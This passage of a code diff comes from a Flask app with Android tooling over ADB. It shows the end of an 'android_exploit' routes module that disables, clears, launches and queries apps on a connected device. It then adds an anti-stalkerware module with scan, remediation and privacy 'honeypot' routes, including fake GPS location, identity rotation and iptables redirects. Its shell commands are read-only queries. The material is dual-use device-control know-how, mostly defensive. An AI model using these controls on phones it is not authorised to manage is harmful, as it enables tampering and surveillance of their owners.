||||
@login_required
|
||||
def adv_app_disable():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
package = data.get('package', '').strip()
|
||||
if not package:
|
||||
return jsonify({'error': 'No package provided'})
|
||||
return jsonify(_get_mgr().disable_app(serial, package))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/adv/app-enable', methods=['POST'])
|
||||
@login_required
|
||||
def adv_app_enable():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
package = data.get('package', '').strip()
|
||||
if not package:
|
||||
return jsonify({'error': 'No package provided'})
|
||||
return jsonify(_get_mgr().enable_app(serial, package))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/adv/app-clear', methods=['POST'])
|
||||
@login_required
|
||||
def adv_app_clear():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
package = data.get('package', '').strip()
|
||||
if not package:
|
||||
return jsonify({'error': 'No package provided'})
|
||||
return jsonify(_get_mgr().clear_app_data(serial, package))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/adv/app-launch', methods=['POST'])
|
||||
@login_required
|
||||
def adv_app_launch():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
package = data.get('package', '').strip()
|
||||
if not package:
|
||||
return jsonify({'error': 'No package provided'})
|
||||
return jsonify(_get_mgr().launch_app(serial, package))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/adv/content-query', methods=['POST'])
|
||||
@login_required
|
||||
def adv_content_query():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
uri = data.get('uri', '').strip()
|
||||
if not uri:
|
||||
return jsonify({'error': 'No URI provided'})
|
||||
return jsonify(_get_mgr().content_query(serial, uri,
|
||||
projection=data.get('projection', ''), where=data.get('where', '')))
|
||||
|
||||
|
||||
# ── WebUSB Direct Mode: Command Relay ────────────────────────────────
|
||||
|
||||
|
||||
@android_exploit_bp.route('/cmd', methods=['POST'])
|
||||
@login_required
|
||||
def get_direct_commands():
|
||||
"""Return ADB shell command(s) for an operation without executing them.
|
||||
Used by WebUSB Direct mode: browser executes via HWDirect.adbShell().
|
||||
Returns one of:
|
||||
{commands: ['cmd1', 'cmd2', ...]} — shell operations
|
||||
{pullPath: '/device/path'} — file pull operations
|
||||
{error: 'message'} — unsupported operation
|
||||
"""
|
||||
data = request.get_json(silent=True) or {}
|
||||
op = data.get('op', '')
|
||||
params = data.get('params', {})
|
||||
result = _get_mgr().get_commands_for_op(op, params)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@android_exploit_bp.route('/parse', methods=['POST'])
|
||||
@login_required
|
||||
def parse_direct_output():
|
||||
"""Parse raw ADB shell output from WebUSB Direct mode execution.
|
||||
Takes the raw text output and returns the same structured JSON
|
||||
that the normal server-mode endpoint would return.
|
||||
"""
|
||||
data = request.get_json(silent=True) or {}
|
||||
op = data.get('op', '')
|
||||
params = data.get('params', {})
|
||||
raw = data.get('raw', '')
|
||||
result = _get_mgr().parse_op_output(op, params, raw)
|
||||
return jsonify(result)
|
||||
837
web/routes/android_protect.py
Normal file
837
web/routes/android_protect.py
Normal file
@@ -0,0 +1,837 @@
|
||||
"""Android Protection Shield routes — anti-stalkerware/spyware scanning and remediation."""
|
||||
|
||||
import os
|
||||
from flask import Blueprint, render_template, request, jsonify
|
||||
from web.auth import login_required
|
||||
|
||||
android_protect_bp = Blueprint('android_protect', __name__, url_prefix='/android-protect')
|
||||
|
||||
|
||||
def _mgr():
|
||||
from core.android_protect import get_android_protect_manager
|
||||
return get_android_protect_manager()
|
||||
|
||||
|
||||
def _serial():
|
||||
"""Extract serial from JSON body, form data, or query params."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial') or request.form.get('serial') or request.args.get('serial', '')
|
||||
return str(serial).strip() if serial else ''
|
||||
|
||||
|
||||
# ── Main Page ───────────────────────────────────────────────────────
|
||||
|
||||
@android_protect_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
from core.hardware import get_hardware_manager
|
||||
hw = get_hardware_manager()
|
||||
status = hw.get_status()
|
||||
sig_stats = _mgr().get_signature_stats()
|
||||
return render_template('android_protect.html', status=status, sig_stats=sig_stats)
|
||||
|
||||
|
||||
# ── Scan Routes ─────────────────────────────────────────────────────
|
||||
|
||||
@android_protect_bp.route('/scan/quick', methods=['POST'])
|
||||
@login_required
|
||||
def scan_quick():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().quick_scan(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/scan/full', methods=['POST'])
|
||||
@login_required
|
||||
def scan_full():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().full_protection_scan(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/scan/export', methods=['POST'])
|
||||
@login_required
|
||||
def scan_export():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
scan = _mgr().full_protection_scan(serial)
|
||||
return jsonify(_mgr().export_scan_report(serial, scan))
|
||||
|
||||
|
||||
@android_protect_bp.route('/scan/stalkerware', methods=['POST'])
|
||||
@login_required
|
||||
def scan_stalkerware():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().scan_stalkerware(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/scan/hidden', methods=['POST'])
|
||||
@login_required
|
||||
def scan_hidden():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().scan_hidden_apps(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/scan/admins', methods=['POST'])
|
||||
@login_required
|
||||
def scan_admins():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().scan_device_admins(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/scan/accessibility', methods=['POST'])
|
||||
@login_required
|
||||
def scan_accessibility():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().scan_accessibility_services(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/scan/listeners', methods=['POST'])
|
||||
@login_required
|
||||
def scan_listeners():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().scan_notification_listeners(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/scan/spyware', methods=['POST'])
|
||||
@login_required
|
||||
def scan_spyware():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().scan_spyware_indicators(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/scan/integrity', methods=['POST'])
|
||||
@login_required
|
||||
def scan_integrity():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().scan_system_integrity(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/scan/processes', methods=['POST'])
|
||||
@login_required
|
||||
def scan_processes():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().scan_suspicious_processes(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/scan/certs', methods=['POST'])
|
||||
@login_required
|
||||
def scan_certs():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().scan_certificates(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/scan/network', methods=['POST'])
|
||||
@login_required
|
||||
def scan_network():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().scan_network_config(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/scan/devopt', methods=['POST'])
|
||||
@login_required
|
||||
def scan_devopt():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().scan_developer_options(serial))
|
||||
|
||||
|
||||
# ── Permission Routes ───────────────────────────────────────────────
|
||||
|
||||
@android_protect_bp.route('/perms/dangerous', methods=['POST'])
|
||||
@login_required
|
||||
def perms_dangerous():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().find_dangerous_apps(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/perms/analyze', methods=['POST'])
|
||||
@login_required
|
||||
def perms_analyze():
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
package = data.get('package', '').strip()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
if not package:
|
||||
return jsonify({'error': 'No package provided'})
|
||||
return jsonify(_mgr().analyze_app_permissions(serial, package))
|
||||
|
||||
|
||||
@android_protect_bp.route('/perms/heatmap', methods=['POST'])
|
||||
@login_required
|
||||
def perms_heatmap():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().permission_heatmap(serial))
|
||||
|
||||
|
||||
# ── Remediation Routes ──────────────────────────────────────────────
|
||||
|
||||
@android_protect_bp.route('/fix/disable', methods=['POST'])
|
||||
@login_required
|
||||
def fix_disable():
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
package = data.get('package', '').strip()
|
||||
if not serial or not package:
|
||||
return jsonify({'error': 'Serial and package required'})
|
||||
return jsonify(_mgr().disable_threat(serial, package))
|
||||
|
||||
|
||||
@android_protect_bp.route('/fix/uninstall', methods=['POST'])
|
||||
@login_required
|
||||
def fix_uninstall():
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
package = data.get('package', '').strip()
|
||||
if not serial or not package:
|
||||
return jsonify({'error': 'Serial and package required'})
|
||||
return jsonify(_mgr().uninstall_threat(serial, package))
|
||||
|
||||
|
||||
@android_protect_bp.route('/fix/revoke', methods=['POST'])
|
||||
@login_required
|
||||
def fix_revoke():
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
package = data.get('package', '').strip()
|
||||
if not serial or not package:
|
||||
return jsonify({'error': 'Serial and package required'})
|
||||
return jsonify(_mgr().revoke_dangerous_perms(serial, package))
|
||||
|
||||
|
||||
@android_protect_bp.route('/fix/remove-admin', methods=['POST'])
|
||||
@login_required
|
||||
def fix_remove_admin():
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
package = data.get('package', '').strip()
|
||||
if not serial or not package:
|
||||
return jsonify({'error': 'Serial and package required'})
|
||||
return jsonify(_mgr().remove_device_admin(serial, package))
|
||||
|
||||
|
||||
@android_protect_bp.route('/fix/remove-cert', methods=['POST'])
|
||||
@login_required
|
||||
def fix_remove_cert():
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
cert_hash = data.get('cert_hash', '').strip()
|
||||
if not serial or not cert_hash:
|
||||
return jsonify({'error': 'Serial and cert_hash required'})
|
||||
return jsonify(_mgr().remove_ca_cert(serial, cert_hash))
|
||||
|
||||
|
||||
@android_protect_bp.route('/fix/clear-proxy', methods=['POST'])
|
||||
@login_required
|
||||
def fix_clear_proxy():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().clear_proxy(serial))
|
||||
|
||||
|
||||
# ── Shizuku Routes ──────────────────────────────────────────────────
|
||||
|
||||
@android_protect_bp.route('/shizuku/status', methods=['POST'])
|
||||
@login_required
|
||||
def shizuku_status():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().shizuku_status(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/shizuku/install', methods=['POST'])
|
||||
@login_required
|
||||
def shizuku_install():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
# Handle file upload
|
||||
if 'apk' in request.files:
|
||||
from flask import current_app
|
||||
f = request.files['apk']
|
||||
upload_dir = current_app.config.get('UPLOAD_FOLDER', '/tmp')
|
||||
path = os.path.join(upload_dir, 'shizuku.apk')
|
||||
f.save(path)
|
||||
return jsonify(_mgr().install_shizuku(serial, path))
|
||||
data = request.get_json(silent=True) or {}
|
||||
apk_path = data.get('apk_path', '').strip()
|
||||
if not apk_path:
|
||||
return jsonify({'error': 'No APK provided'})
|
||||
return jsonify(_mgr().install_shizuku(serial, apk_path))
|
||||
|
||||
|
||||
@android_protect_bp.route('/shizuku/start', methods=['POST'])
|
||||
@login_required
|
||||
def shizuku_start():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().start_shizuku(serial))
|
||||
|
||||
|
||||
# ── Shield App Routes ──────────────────────────────────────────────
|
||||
|
||||
@android_protect_bp.route('/shield/status', methods=['POST'])
|
||||
@login_required
|
||||
def shield_status():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().check_shield_app(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/shield/install', methods=['POST'])
|
||||
@login_required
|
||||
def shield_install():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
if 'apk' in request.files:
|
||||
from flask import current_app
|
||||
f = request.files['apk']
|
||||
upload_dir = current_app.config.get('UPLOAD_FOLDER', '/tmp')
|
||||
path = os.path.join(upload_dir, 'shield.apk')
|
||||
f.save(path)
|
||||
return jsonify(_mgr().install_shield_app(serial, path))
|
||||
data = request.get_json(silent=True) or {}
|
||||
apk_path = data.get('apk_path', '').strip()
|
||||
if not apk_path:
|
||||
return jsonify({'error': 'No APK provided'})
|
||||
return jsonify(_mgr().install_shield_app(serial, apk_path))
|
||||
|
||||
|
||||
@android_protect_bp.route('/shield/configure', methods=['POST'])
|
||||
@login_required
|
||||
def shield_configure():
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
config = data.get('config', {})
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().configure_shield(serial, config))
|
||||
|
||||
|
||||
@android_protect_bp.route('/shield/permissions', methods=['POST'])
|
||||
@login_required
|
||||
def shield_permissions():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().grant_shield_permissions(serial))
|
||||
|
||||
|
||||
# ── Database Routes ─────────────────────────────────────────────────
|
||||
|
||||
@android_protect_bp.route('/db/stats', methods=['POST'])
|
||||
@login_required
|
||||
def db_stats():
|
||||
return jsonify(_mgr().get_signature_stats())
|
||||
|
||||
|
||||
@android_protect_bp.route('/db/update', methods=['POST'])
|
||||
@login_required
|
||||
def db_update():
|
||||
return jsonify(_mgr().update_signatures())
|
||||
|
||||
|
||||
# ── Honeypot Routes ────────────────────────────────────────────────
|
||||
|
||||
@android_protect_bp.route('/honeypot/status', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_status():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().honeypot_status(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/scan-trackers', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_scan_trackers():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().scan_tracker_apps(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/scan-tracker-perms', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_scan_tracker_perms():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().scan_tracker_permissions(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/ad-settings', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_ad_settings():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().get_tracking_settings(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/reset-ad-id', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_reset_ad_id():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().reset_advertising_id(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/opt-out', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_opt_out():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().opt_out_ad_tracking(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/set-dns', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_set_dns():
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
provider = data.get('provider', '').strip()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
if not provider:
|
||||
return jsonify({'error': 'No provider specified'})
|
||||
return jsonify(_mgr().set_private_dns(serial, provider))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/clear-dns', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_clear_dns():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().clear_private_dns(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/disable-location-scan', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_disable_location_scan():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().disable_location_accuracy(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/disable-diagnostics', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_disable_diagnostics():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().disable_usage_diagnostics(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/restrict-background', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_restrict_background():
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
package = data.get('package', '').strip()
|
||||
if not serial or not package:
|
||||
return jsonify({'error': 'Serial and package required'})
|
||||
return jsonify(_mgr().restrict_app_background(serial, package))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/revoke-tracker-perms', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_revoke_tracker_perms():
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
package = data.get('package', '').strip()
|
||||
if not serial or not package:
|
||||
return jsonify({'error': 'Serial and package required'})
|
||||
return jsonify(_mgr().revoke_tracker_permissions(serial, package))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/clear-tracker-data', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_clear_tracker_data():
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
package = data.get('package', '').strip()
|
||||
if not serial or not package:
|
||||
return jsonify({'error': 'Serial and package required'})
|
||||
return jsonify(_mgr().clear_app_tracking_data(serial, package))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/force-stop-trackers', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_force_stop_trackers():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().force_stop_trackers(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/deploy-hosts', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_deploy_hosts():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().deploy_hosts_blocklist(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/remove-hosts', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_remove_hosts():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().remove_hosts_blocklist(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/hosts-status', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_hosts_status():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().get_hosts_status(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/iptables-setup', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_iptables_setup():
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
port = data.get('port', 9040)
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().setup_iptables_redirect(serial, port))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/iptables-clear', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_iptables_clear():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().clear_iptables_redirect(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/fake-location', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_fake_location():
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
lat = data.get('lat')
|
||||
lon = data.get('lon')
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
if lat is None or lon is None:
|
||||
return jsonify({'error': 'lat and lon required'})
|
||||
return jsonify(_mgr().set_fake_location(serial, float(lat), float(lon)))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/random-location', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_random_location():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().set_random_fake_location(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/clear-location', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_clear_location():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().clear_fake_location(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/rotate-identity', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_rotate_identity():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().rotate_device_identity(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/fake-fingerprint', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_fake_fingerprint():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().generate_fake_fingerprint(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/activate', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_activate():
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
tier = data.get('tier', 1)
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().honeypot_activate(serial, int(tier)))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/deactivate', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_deactivate():
|
||||
serial = _serial()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_mgr().honeypot_deactivate(serial))
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/tracker-stats', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_tracker_stats():
|
||||
return jsonify(_mgr().get_tracker_stats())
|
||||
|
||||
|
||||
@android_protect_bp.route('/honeypot/update-domains', methods=['POST'])
|
||||
@login_required
|
||||
def honeypot_update_domains():
|
||||
return jsonify(_mgr().update_tracker_domains())
|
||||
|
||||
|
||||
# ── Direct (WebUSB) Mode — Command Relay ─────────────────────────────────────
|
||||
|
||||
# Maps operation key → dict of {label: adb_shell_command}
|
||||
_DIRECT_COMMANDS = {
|
||||
'scan_quick': {
|
||||
'packages': 'pm list packages',
|
||||
'devopt': 'settings get global development_settings_enabled',
|
||||
'adb_enabled': 'settings get global adb_enabled',
|
||||
'accessibility': 'settings get secure enabled_accessibility_services',
|
||||
'admins': 'dumpsys device_policy 2>/dev/null | head -60',
|
||||
},
|
||||
'scan_stalkerware': {
|
||||
'packages': 'pm list packages',
|
||||
},
|
||||
'scan_hidden': {
|
||||
'all': 'pm list packages',
|
||||
'launcher': 'cmd package query-activities -a android.intent.action.MAIN '
|
||||
'-c android.intent.category.LAUNCHER 2>/dev/null',
|
||||
},
|
||||
'scan_admins': {
|
||||
'admins': 'dumpsys device_policy 2>/dev/null | head -100',
|
||||
},
|
||||
'scan_accessibility': {
|
||||
'services': 'settings get secure enabled_accessibility_services',
|
||||
},
|
||||
'scan_listeners': {
|
||||
'listeners': 'cmd notification list-listeners 2>/dev/null || dumpsys notification 2>/dev/null | grep -i listener | head -30',
|
||||
},
|
||||
'scan_spyware': {
|
||||
'packages': 'pm list packages',
|
||||
'processes': 'ps -A 2>/dev/null | head -100',
|
||||
},
|
||||
'scan_integrity': {
|
||||
'secure': 'getprop ro.secure',
|
||||
'debuggable': 'getprop ro.debuggable',
|
||||
'fingerprint': 'getprop ro.build.fingerprint',
|
||||
'devopt': 'settings get global development_settings_enabled',
|
||||
'kernel': 'cat /proc/version',
|
||||
},
|
||||
'scan_processes': {
|
||||
'ps': 'ps -A 2>/dev/null | head -200',
|
||||
},
|
||||
'scan_certs': {
|
||||
'certs': 'ls /data/misc/user/0/cacerts-added/ 2>/dev/null || echo ""',
|
||||
},
|
||||
'scan_network': {
|
||||
'proxy': 'settings get global http_proxy',
|
||||
'dns1': 'getprop net.dns1',
|
||||
'dns2': 'getprop net.dns2',
|
||||
'private_dns': 'settings get global private_dns_mode',
|
||||
'private_dns_h': 'settings get global private_dns_specifier',
|
||||
},
|
||||
'scan_devopt': {
|
||||
'devopt': 'settings get global development_settings_enabled',
|
||||
'adb': 'settings get global adb_enabled',
|
||||
'adb_wifi': 'settings get global adb_wifi_enabled',
|
||||
'verifier': 'settings get global package_verifier_enable',
|
||||
},
|
||||
'perms_dangerous': {
|
||||
'packages': 'pm list packages',
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
@android_protect_bp.route('/cmd', methods=['POST'])
|
||||
@login_required
|
||||
def direct_cmd():
|
||||
"""Return ADB shell commands for Direct (WebUSB) mode."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
op = data.get('op', '').replace('/', '_').replace('-', '_')
|
||||
cmds = _DIRECT_COMMANDS.get(op)
|
||||
if cmds:
|
||||
return jsonify({'commands': cmds, 'supported': True})
|
||||
return jsonify({'commands': {}, 'supported': False})
|
||||
|
||||
|
||||
@android_protect_bp.route('/parse', methods=['POST'])
|
||||
@login_required
|
||||
def direct_parse():
|
||||
"""Analyze raw ADB shell output from Direct (WebUSB) mode."""
|
||||
import re
|
||||
data = request.get_json(silent=True) or {}
|
||||
op = data.get('op', '').replace('/', '_').replace('-', '_')
|
||||
raw = data.get('raw', {})
|
||||
mgr = _mgr()
|
||||
|
||||
def _pkgs(output):
|
||||
"""Parse 'pm list packages' output to a set of package names."""
|
||||
pkgs = set()
|
||||
for line in (output or '').strip().split('\n'):
|
||||
line = line.strip()
|
||||
if line.startswith('package:'):
|
||||
pkgs.add(line[8:].split('=')[0].strip())
|
||||
return pkgs
|
||||
|
||||
try:
|
||||
if op in ('scan_stalkerware', 'scan_quick', 'scan_spyware'):
|
||||
packages = _pkgs(raw.get('packages', ''))
|
||||
sigs = mgr._load_signatures()
|
||||
found = []
|
||||
for family, fdata in sigs.get('stalkerware', {}).items():
|
||||
for pkg in fdata.get('packages', []):
|
||||
if pkg in packages:
|
||||
found.append({'name': family, 'package': pkg,
|
||||
'severity': fdata.get('severity', 'high'),
|
||||
'description': fdata.get('description', '')})
|
||||
for pkg in packages:
|
||||
if pkg in set(sigs.get('suspicious_system_packages', [])):
|
||||
found.append({'name': 'Suspicious System Package', 'package': pkg,
|
||||
'severity': 'high',
|
||||
'description': 'Package mimics a system app name'})
|
||||
matched = {f['package'] for f in found}
|
||||
result = {'found': found,
|
||||
'clean_count': len(packages) - len(matched),
|
||||
'total': len(packages)}
|
||||
if op == 'scan_quick':
|
||||
result['developer_options'] = raw.get('devopt', '').strip() == '1'
|
||||
result['accessibility_active'] = raw.get('accessibility', '').strip() not in ('', 'null')
|
||||
return jsonify(result)
|
||||
|
||||
elif op == 'scan_hidden':
|
||||
all_pkgs = _pkgs(raw.get('all', ''))
|
